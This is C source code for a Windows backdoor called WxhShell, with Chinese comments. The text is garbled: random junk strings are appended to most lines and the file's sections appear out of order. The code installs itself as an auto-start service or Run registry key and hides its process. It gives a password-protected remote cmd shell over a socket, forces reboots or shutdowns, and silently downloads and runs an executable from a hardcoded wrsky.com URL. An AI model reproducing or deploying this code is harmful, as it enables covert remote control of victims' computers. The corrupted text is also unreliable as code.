    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2FcNzAaV  
    if(Boot(SHUTDOWN)) K3iQ/j~aq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +BVY9U?\"  
    else { TwsI8X  
    closesocket(wsh); 5eiKMKW[  
    ExitThread(0); ob;O,&e0>  
    } oOHY+'V  
    break; ~F^tLi!5  
    } IZLBv2m  
  // 获取shell aaP6zJXi  
  case 's': { 4.p:$/GTS  
    CmdShell(wsh); /9=r.Vxh  
    closesocket(wsh); O7CW#F  
    ExitThread(0); _X|prIOb=  
    break; I^nDO\m <  
  } f^ja2.*%?  
  // 退出 2qot(Zs1i  
  case 'x': { %!r.) Wx|2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /,_m\ JkwL  
    CloseIt(wsh); Qvty;2$o@  
    break; 6?Kl L [~  
    } !6l*Jc3  
  // 离开 ,5x#o  
  case 'q': { ?;y-skh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]}kw'&  
    closesocket(wsh); v[2&0&!K#  
    WSACleanup(); zu.B>INe  
    exit(1); RRXp9{x`  
    break; `U=Jbdc l3  
        } ?5jLN&A3 G  
  } *NG\3%}%|@  
  } 8ok=&Gq4  
/z_]7]  
  // 提示信息 DJ DQH\&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sQJGwZ 7  
} "%)g^Atp>  
  } T-#4hY`  
t>AOF\  
  return; q-+:1E  
} 3%bhW9H%  
yx|{:Li!  
// shell模块句柄 i!RfUod  
int CmdShell(SOCKET sock) uorX;yekC  
{ }W'4(V;:  
STARTUPINFO si; )|vy}Jf7  
ZeroMemory(&si,sizeof(si)); f9 \$,7F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J jm={+@+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Kf/Id1  
PROCESS_INFORMATION ProcessInfo; <gFa@at  
char cmdline[]="cmd"; I/XSW#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b _<n]P*)  
  return 0; 9(J,&)J  
} :SS \2  
[{Jo(X  
// 自身启动模式 SAdE9L =d  
int StartFromService(void) Y+ UJV6  
{ PMpq>$6b7  
typedef struct W2#<]]-  
{ w;gk=<_  
  DWORD ExitStatus; tc0;Ake-&  
  DWORD PebBaseAddress; q~b# ml2QS  
  DWORD AffinityMask; ":8\2Qp  
  DWORD BasePriority; In^mE(8YO  
  ULONG UniqueProcessId; >7PQOQMW'  
  ULONG InheritedFromUniqueProcessId; MzX&|wimb  
}   PROCESS_BASIC_INFORMATION; =T,Q7Dh  
9-/q-,  
PROCNTQSIP NtQueryInformationProcess; aTTkj\4  
RARA_tii  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 50QDqC-]XS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OemY'M? ZQ  
0-S.G38{  
  HANDLE             hProcess; BLy V~   
  PROCESS_BASIC_INFORMATION pbi; NX,m6u  
v>#Njgo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `VKFA<T  
  if(NULL == hInst ) return 0; b9RHsr]V  
Ig t*8px  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C[<}eD4bV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {KNaJ/:>W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xy7A^7Li  
tkT,M,]?9  
  if (!NtQueryInformationProcess) return 0; B`Z3e%g#  
:31_WJ^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ()IZ7#kL?  
  if(!hProcess) return 0; Ik$$Tn&;  
le\-h'D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *,4rYb7I w  
$G`CXhbl  
  CloseHandle(hProcess); \ saV8U7B  
pOXI*0_g.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TvDSs])  
if(hProcess==NULL) return 0; Q?i_Nl/|  
} +}nrJv  
HMODULE hMod; \jwG*a  
char procName[255]; 1H-Y3G>jN  
unsigned long cbNeeded; U L $!  
Q3 8+`EhLA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <E4(KE  
Tse#{  
  CloseHandle(hProcess); GIM/T4!)  
q$:7j5E  
if(strstr(procName,"services")) return 1; // 以服务启动 i90X0b-A  
'z;(Y*jb  
  return 0; // 注册表启动 `FPQOa*%3  
} 5G}4z>-]F)  
O~*i_t*i9{  
// 主模块 miaH,hm  
int StartWxhshell(LPSTR lpCmdLine) \Nt 5TG_  
{ K9#kdo1 2  
  SOCKET wsl; Nn[*ox#i  
BOOL val=TRUE; |O_ JUl  
  int port=0; ]ub"OsXC  
  struct sockaddr_in door; C8|V?bL  
v1,#7s AW'  
  if(wscfg.ws_autoins) Install(); N.JR($N$  
?>h ~"D#  
port=atoi(lpCmdLine); ChTq!W  
CW+kKN  
if(port<=0) port=wscfg.ws_port; Vc(4d-d5  
R.rc h2  
  WSADATA data; y''~j<'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a yA;6Qt  
w 0_P9g:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V1]GOmXz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r >'tE7W9  
  door.sin_family = AF_INET; o}v<~v(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~#sD2b` 0  
  door.sin_port = htons(port); m[}k]PB>  
Ic2?1<IZA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r E+B}O  
closesocket(wsl); ;qgo=  
return 1; 2R&\qZ<  
} 7#R)+  
|#2WN-  
  if(listen(wsl,2) == INVALID_SOCKET) { { LvD\4h"  
closesocket(wsl); N:<$]x>  
return 1; '5BD%#[  
} 3J#LxYK  
  Wxhshell(wsl); ty,oj33  
  WSACleanup(); KV_/fa~Ry  
e]RzvWq  
return 0; a<<4gXx  
]@#9B>v=  
} |fgUW.  
\_`qon$9  
// 以NT服务方式启动 \jiE :Qt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SY +0~5E  
{ f kZHy|m  
DWORD   status = 0;  g{Hgs  
  DWORD   specificError = 0xfffffff; /TpTR-\I0  
*D?_,s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "U}kp#)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l r&7 qu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7[1Lh'u  
  serviceStatus.dwWin32ExitCode     = 0; SboHo({5VA  
  serviceStatus.dwServiceSpecificExitCode = 0; wb$uq/|  
  serviceStatus.dwCheckPoint       = 0; .g8*K "  
  serviceStatus.dwWaitHint       = 0; u"HGT=Nl  
b(0<,r8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uj(0M;#%o+  
  if (hServiceStatusHandle==0) return; 62sl6WWS3  
PQ 4mNjXN  
status = GetLastError(); RsZj  
  if (status!=NO_ERROR) sUG!dwqqd  
{ 3(WijtH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +HS]kFH  
    serviceStatus.dwCheckPoint       = 0; eN=jWUoCh  
    serviceStatus.dwWaitHint       = 0; 3YvKHn|V"  
    serviceStatus.dwWin32ExitCode     = status; ~m6=s~Vn  
    serviceStatus.dwServiceSpecificExitCode = specificError; gK rUv0&F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = QBvU)Ki  
    return; !/}3/iU  
  } pa!BJ]~  
%+~\I\)1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z5jw\jBD  
  serviceStatus.dwCheckPoint       = 0; %zcA|SefP  
  serviceStatus.dwWaitHint       = 0; e(t}$Q=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8FuxN2  
} zS%XmS\  
T?7u [D[[  
// 处理NT服务事件,比如:启动、停止 %hVR|K|J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h!w::cV  
{ 8}0wSVsxV$  
switch(fdwControl) <O1R*CaP  
{ 8%9 C<+.R  
case SERVICE_CONTROL_STOP: /.SG? 5t4  
  serviceStatus.dwWin32ExitCode = 0; MKBDWLCB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c2P}P* _  
  serviceStatus.dwCheckPoint   = 0; JXc.?{LL  
  serviceStatus.dwWaitHint     = 0; (GC]=  
  { UY(T>4H+h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4'O,xC  
  } ?9~^QRLT  
  return; u}5CzV`  
case SERVICE_CONTROL_PAUSE: {,%&}kd>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lb_N"90p  
  break; q}LDFsU  
case SERVICE_CONTROL_CONTINUE:  lbHgxZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dbby.%  
  break;  QHNyH  
case SERVICE_CONTROL_INTERROGATE: ~[%CUc"  
  break; EOB8|:*  
}; b > D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uVEJV |^/  
} 27SHj9I  
hN3FH# YO  
// 标准应用程序主函数 r)^sHpK:`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) : B^"V\WE  
{ |&#N&t  
q94;x|63  
// 获取操作系统版本 ;%e)t[5  
OsIsNt=GetOsVer(); 4LTm&+(5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bv<gVt  
%,@pV%2  
  // 从命令行安装 _*o <<C\E  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xz^nm\  
^^b'tP1>  
  // 下载执行文件 JN wI{  
if(wscfg.ws_downexe) { kvwnqaX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iHPsRq!  
  WinExec(wscfg.ws_filenam,SW_HIDE); $*0-+h  
} ^\}qq>_  
H!IVbL`a{  
if(!OsIsNt) { 9#z$GO|<  
// 如果时win9x,隐藏进程并且设置为注册表启动 q<:8{Y|  
HideProc(); q A .9X4NQ  
StartWxhshell(lpCmdLine); z.8/[)  
} TE Z%|5(]  
else `DYhGk  
  if(StartFromService()) FOk&z!xYKd  
  // 以服务方式启动 Z}S[fN8  
  StartServiceCtrlDispatcher(DispatchTable); #^T`vTD-  
else z=>fBb>w7  
  // 普通方式启动 d,^O[9UWo  
  StartWxhshell(lpCmdLine); !UoA6C:  
nm5DNpHk  
return 0; ;I4vPh5Q  
} e8vy29\S  
B7f<XBU6>  
O)q4^AE$  
g#$ C8k  
=========================================== oP,*H6)i  
n6oOk nCna  
PBn7{( x  
vfkF@^D  
2d .$V,U<  
*Ypn@YpSp  
" " aG6u^%  
(  cs  
#include <stdio.h> >?@5>wF  
#include <string.h> -qP)L;n  
#include <windows.h> <e UsMo<  
#include <winsock2.h> MH.+pqIv^  
#include <winsvc.h> 6m_mma_,&  
#include <urlmon.h> j-K[]$  
Q4cCg7|0  
#pragma comment (lib, "Ws2_32.lib") (l99a&] t  
#pragma comment (lib, "urlmon.lib") DzpWU8j  
H\>{<`sD;f  
#define MAX_USER   100 // 最大客户端连接数 ?, pwYT0g  
#define BUF_SOCK   200 // sock buffer q=X<QhK  
#define KEY_BUFF   255 // 输入 buffer "KIY+7@S}  
hju^x8 ,=m  
#define REBOOT     0   // 重启  Fe!MA  
#define SHUTDOWN   1   // 关机 !)]/?&uo  
n#P>E( K  
#define DEF_PORT   5000 // 监听端口 9)VAEyv  
3RtVFDIZA"  
#define REG_LEN     16   // 注册表键长度 %E_Y4Oe1  
#define SVC_LEN     80   // NT服务名长度 5=?P 6I_$G  
ZO%^r%~s  
// 从dll定义API LQ~|VRRX<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 PYYG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D)-LZbPa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jt[ug26  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |?88EG@05  
Ge2Klyi  
// wxhshell配置信息 0S5xmEzop  
struct WSCFG { 1?.CXq K  
  int ws_port;         // 监听端口 O<$w-(  
  char ws_passstr[REG_LEN]; // 口令 k{+cFG\C&  
  int ws_autoins;       // 安装标记, 1=yes 0=no q9vND[BQ  
  char ws_regname[REG_LEN]; // 注册表键名 ClKWf\(ii6  
  char ws_svcname[REG_LEN]; // 服务名 Jq0sZ0j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M+&~sX*a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RnH?95n?{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {?yVA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Gd1 T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tr?p/9.m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g4^-B  
 R[m-jUL  
}; ?^~ZsOd8B  
PlB3"{}0Q  
// default Wxhshell configuration *O$|,EsY  
struct WSCFG wscfg={DEF_PORT, A"7YkOfwH  
    "xuhuanlingzhe", WR #XPbk  
    1, VZqCFE3  
    "Wxhshell", :<aGZ\R5  
    "Wxhshell", !}6'vq  
            "WxhShell Service", gfggL&t(  
    "Wrsky Windows CmdShell Service", w%\ nXJ  
    "Please Input Your Password: ", _#K|g#p5  
  1, ('7?"npd  
  "http://www.wrsky.com/wxhshell.exe", )x!q;^Js9A  
  "Wxhshell.exe" 5,;\zSz  
    }; u{4P)DIQ  
g"/n95k<  
// 消息定义模块 ajycYk9<m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }uDpf0;^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F$8:9eL,T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zz} o  t  
char *msg_ws_ext="\n\rExit."; PY.HZ/#d  
char *msg_ws_end="\n\rQuit."; uf?;;wg  
char *msg_ws_boot="\n\rReboot..."; sK%b16#  
char *msg_ws_poff="\n\rShutdown..."; YIk@{V  
char *msg_ws_down="\n\rSave to "; #K^hKx9  
3f5YPf2u  
char *msg_ws_err="\n\rErr!"; .f$2-5q  
char *msg_ws_ok="\n\rOK!"; XuP%/\  
"w"a0nv  
char ExeFile[MAX_PATH]; a~yiLq  
int nUser = 0; Kz;Ar&^`N  
HANDLE handles[MAX_USER]; bVcJ/+Yx|  
int OsIsNt; h?TIxo:6/  
807+|Ol[  
SERVICE_STATUS       serviceStatus; I q|'#hs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,9y6:W%5  
b,Eq-Z;  
// 函数声明 zYM2`(Z 5B  
int Install(void); qq!ZYWy2  
int Uninstall(void); q&:7R .Ci  
int DownloadFile(char *sURL, SOCKET wsh); fExFpR,`  
int Boot(int flag); 76T7<.S  
void HideProc(void); ~;oXLCL0})  
int GetOsVer(void); SXsszb:_  
int Wxhshell(SOCKET wsl); B}04E^  
void TalkWithClient(void *cs); ILCh1=?{9r  
int CmdShell(SOCKET sock); V n_&q6Pa  
int StartFromService(void); f8-`bb  
int StartWxhshell(LPSTR lpCmdLine); x6K_!L*Fx]  
2Ug_3ZuU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fOMaTnm'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h_ t`)]-  
3fLdceT  
// 数据结构和表定义 % (h6m${j  
SERVICE_TABLE_ENTRY DispatchTable[] = ;^:8F  
{ k:n{AoUc  
{wscfg.ws_svcname, NTServiceMain}, L/fXP@u  
{NULL, NULL} ;*rGZ?%*  
}; 5%D`y|  
yPmo1|'X>d  
// 自我安装 3F, M{'q  
int Install(void) ;jxX/c  
{ 2+ u+9rW  
  char svExeFile[MAX_PATH]; @~gPZm  
  HKEY key; d%}?%VH  
  strcpy(svExeFile,ExeFile); $/^Y(0  
3q4VH q  
// 如果是win9x系统,修改注册表设为自启动 "6]oi*_8  
if(!OsIsNt) { G739Ne[gL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !9gpuS[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^%*qe5J  
  RegCloseKey(key); y a$yRsd`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yPfx!9B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ty!DMg#  
  RegCloseKey(key); 6\l F  
  return 0; t _ CMsp  
    } #>_t[9;  
  } .;31G0<w2  
} u"5/QB{  
else { J4]"@0?6  
Hd4 ~v0eS  
// 如果是NT以上系统,安装为系统服务 iM!V4Wih6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7r,GdP.  
if (schSCManager!=0) X%-"b`  
{ 7Vf XE/  
  SC_HANDLE schService = CreateService XSx!11  
  ( 4+qo=i  
  schSCManager, &5jc &CS  
  wscfg.ws_svcname, I!F&8B+|  
  wscfg.ws_svcdisp, R)d_0Ng  
  SERVICE_ALL_ACCESS, C=;}7g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yq, qS0Fo  
  SERVICE_AUTO_START, 6!)hl"  
  SERVICE_ERROR_NORMAL, HziQ%QR  
  svExeFile, >WO;q  
  NULL, 1grcCL q  
  NULL, F+c8 O  
  NULL, #U'}g *  
  NULL, DB"z93Mr<K  
  NULL LP7jCt  
  ); _0[s]  
  if (schService!=0) Nba1!5:M  
  { hRKJKQ@7  
  CloseServiceHandle(schService); ^Gbcs l~Gj  
  CloseServiceHandle(schSCManager); XwIHIG}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \xOYa  
  strcat(svExeFile,wscfg.ws_svcname); 4EeVO5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aa]|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /"!ck2d&1  
  RegCloseKey(key); 7F]oK0l_  
  return 0; r 'ioH"=  
    } FBi&M Z`  
  } n%2c<@p#  
  CloseServiceHandle(schSCManager); *` -  
} q%s<y+  
} t`6~ ud>  
`j2|aX %Z*  
return 1; 9u^za!pE  
} U2Siw   
ZdhA:}~^E  
// 自我卸载 QeQwmI  
int Uninstall(void) uf )!SxT  
{ Ayw {I#"  
  HKEY key; Ng&K5Z/  
d<] eJ{  
if(!OsIsNt) { c8l\1ce?7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { laCVj6Rk  
  RegDeleteValue(key,wscfg.ws_regname); Zz|et206  
  RegCloseKey(key); }!kvoV)]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Or?$  
  RegDeleteValue(key,wscfg.ws_regname); 3cqc<  
  RegCloseKey(key); w$qdV,s 7  
  return 0; u~t%GIg  
  } [*vR&4mk  
} |Ntretz`\  
} !':y8(Ou  
else { Q >h7H{c  
0 4ceDe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !9S!zRy@  
if (schSCManager!=0) y7b>>|C  
{ sEb*GF*.V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IjPt JwW`A  
  if (schService!=0) skLr6Cs|  
  { WD8F]+2O\  
  if(DeleteService(schService)!=0) { jTsQsHq   
  CloseServiceHandle(schService); Urm(A9|N  
  CloseServiceHandle(schSCManager); RLVz"=  
  return 0; hs)_h^P   
  } d ~CZ9h  
  CloseServiceHandle(schService); :Mu]* N  
  } p?s[I)e  
  CloseServiceHandle(schSCManager); `cmzmQC  
} s|Vbc@t  
} Y0Rk:Njc  
St3/mDtH  
return 1; !J }Q%i  
} {us#(4O  
9Kc;]2m  
// 从指定url下载文件 (Ixmg=C6y  
int DownloadFile(char *sURL, SOCKET wsh) ,Igd<A=  
{ Gd2t^tc  
  HRESULT hr; b9 l%5a  
char seps[]= "/"; !5zj+N  
char *token; \S#![NC  
char *file; Q=498Y~x  
char myURL[MAX_PATH]; ynq^ztBVe  
char myFILE[MAX_PATH]; l5Q-M{w0x  
d?GB#N|+g  
strcpy(myURL,sURL); covK6SH  
  token=strtok(myURL,seps); y $>U[^G[  
  while(token!=NULL) 5F5)Bh  
  { DvBRK}'  
    file=token; dJ,,yA*  
  token=strtok(NULL,seps); =W'{xG}  
  } y(6*)~Dh  
h"$], =  
GetCurrentDirectory(MAX_PATH,myFILE); K"=I,Vr:  
strcat(myFILE, "\\"); /n1H; ~f]  
strcat(myFILE, file); =.q8*7UY  
  send(wsh,myFILE,strlen(myFILE),0); Hc-68]T  
send(wsh,"...",3,0); RZ9chTX/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qAVZ&:#  
  if(hr==S_OK) Z&Z= 24q_  
return 0; w"FBJULzn9  
else ^1+=HdN,  
return 1; :W}M$5|  
X|pOw,"  
} 3Yf!H-(\uB  
S4>1d-  
// 系统电源模块 K1|xatx1V  
int Boot(int flag) ?wj1t!83  
{ L%[b6<  
  HANDLE hToken; &_<!zJ;Hn  
  TOKEN_PRIVILEGES tkp; I#:4H2H6  
-*0U&]T  
  if(OsIsNt) { |s[k= /~"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UV)!zgP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vt2A/9_Z%  
    tkp.PrivilegeCount = 1; ~&8bVA= .  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sG k'G573  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `^CIOCK%  
if(flag==REBOOT) { N ._&\fHY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b~EA&dc  
  return 0; mRD'@n  
} _*dUH5  
else { gO]jeO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `BKV/Xl  
  return 0; p>0n~e  
} y(Ck j"  
  } `Ct fe8  
  else { ood,k{  
if(flag==REBOOT) { 2mPU /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [f@[ gE  
  return 0; KFn[  
} |7E1yu  
else {  jf~-;2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @6z]Xb  
  return 0; 6 #Afj0  
} {);<2]o| 6  
} ~e<h2/Xc  
}>~]q)]  
return 1; LRmH@-qP  
} 20k@!BNq  
DH{^9HK  
// win9x进程隐藏模块 ycSC'R  
void HideProc(void) g/e2t=qP  
{ ]='zY3  
D eM/B5qw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %Ig3udcY?  
  if ( hKernel != NULL ) IO]%AL(.;  
  { )_Wo6l)i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uO}UvMW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^,N=GZRWW  
    FreeLibrary(hKernel); dG*2-v^G  
  } =?gDM[t^  
B|6_4ry0U  
return; QwgP+ M+  
} "1%YtV5R{  
EnnE@BJ"  
// 获取操作系统版本 u40<>A  
int GetOsVer(void) f" g-Hbl5  
{ t7qY!S (  
  OSVERSIONINFO winfo; &Uu8wFbIJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :7jDgqn^|i  
  GetVersionEx(&winfo); `oGL==  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7C@%1kL  
  return 1; "3X~BdH&J  
  else KO5! (vi@  
  return 0; 3zuYN-;  
} Q"=$.M~  
a!H t81gj  
// 客户端句柄模块 7,&M6<~  
int Wxhshell(SOCKET wsl) { x/~gp  
{ SdQ"S-H  
  SOCKET wsh; rq_0"A  
  struct sockaddr_in client; [,As;a*o  
  DWORD myID; r*XEne  
i*ErxWzu  
  while(nUser<MAX_USER) 68-2EWq  
{ g6~B|?!  
  int nSize=sizeof(client); 'n4$dv% q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X4Y!Z/b  
  if(wsh==INVALID_SOCKET) return 1; T?V!%AqY:  
t }q \.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AI\|8[kf0  
if(handles[nUser]==0) we;QrS(Hi  
  closesocket(wsh); :o+&>z  
else b?{\t;  
  nUser++; < k?jt  
  } ?kKr/f4N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EsKOzl[c:  
Hklgf  
  return 0; >%{H>?Hn  
} UUaC@Rs2  
ud,=O X q  
// 关闭 socket ~Ddlr9Ej  
void CloseIt(SOCKET wsh) yV/A%y-P  
{ # 8fq6z|JZ  
closesocket(wsh); @Rp#*{  
nUser--; yEB1gYJB  
ExitThread(0); + tza]r:  
} }SZU'lYHoM  
c6_i~0W56  
// 客户端请求句柄 |;k@Zlvc  
void TalkWithClient(void *cs) oZSPdk  
{ a1yGgT a?D  
}10ZPaHjl+  
  SOCKET wsh=(SOCKET)cs; }{( J *T  
  char pwd[SVC_LEN]; +JrbC/&  
  char cmd[KEY_BUFF]; (n0h#%  
char chr[1]; ;;? Zd  
int i,j; .*W_;Fo  
S @[B?sNj  
  while (nUser < MAX_USER) { 1<TB{}b Z  
/<-@8CC<  
if(wscfg.ws_passstr) { 0G}]d17ho  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C])b 3tM,7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \1R<GBC4  
  //ZeroMemory(pwd,KEY_BUFF); QkU6eE<M*  
      i=0; (D1$&  
  while(i<SVC_LEN) { t0-)\kXcA  
k;c>=B)e  
  // 设置超时 ^I]A@YNni  
  fd_set FdRead; eUeOyC  
  struct timeval TimeOut; )$oboAv#  
  FD_ZERO(&FdRead); C6ry]R@  
  FD_SET(wsh,&FdRead); (f `zd.  
  TimeOut.tv_sec=8; aq-R#q  
  TimeOut.tv_usec=0; ,3~[cE<4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?|,-Bft3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~![J~CkPS  
FvVR \a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7;x}W-`iF  
  pwd=chr[0]; /_.1f|{B  
  if(chr[0]==0xd || chr[0]==0xa) { ?f'iS#XL  
  pwd=0;  mX&!/U  
  break; 5KIlU78  
  } $2'Q'Mx[gd  
  i++; v3 ]mZ}W$  
    } wi$,Y. :  
Wd<|DmSy  
  // 如果是非法用户,关闭 socket .qAlPe L:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $G}!eV 6  
} d:SLyFD$q  
h}SP`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Q>D^yPI[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y `ySNC  
E@%9u#  
while(1) { Tw+V$:$$  
nXFPoR)T  
  ZeroMemory(cmd,KEY_BUFF); (`me}8  
xq-TT2}<L  
      // 自动支持客户端 telnet标准   pf[m"t6G~  
  j=0; S&Szc0-|k  
  while(j<KEY_BUFF) { Bt[Wh@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PRQEk.C  
  cmd[j]=chr[0]; 6#za\[  
  if(chr[0]==0xa || chr[0]==0xd) { yHNx,ra   
  cmd[j]=0; )g ; !IL  
  break; o`+$h:zm@  
  } @r=v*hu  
  j++; Z0#&D&2sV  
    } nC2e^=^  
&&$,BFY4  
  // 下载文件 TcKt   
  if(strstr(cmd,"http://")) { PqVz ^(Wz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N6UPD11}6  
  if(DownloadFile(cmd,wsh)) ` 5lW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:%p#$V  
  else ![H{ndH!Q  
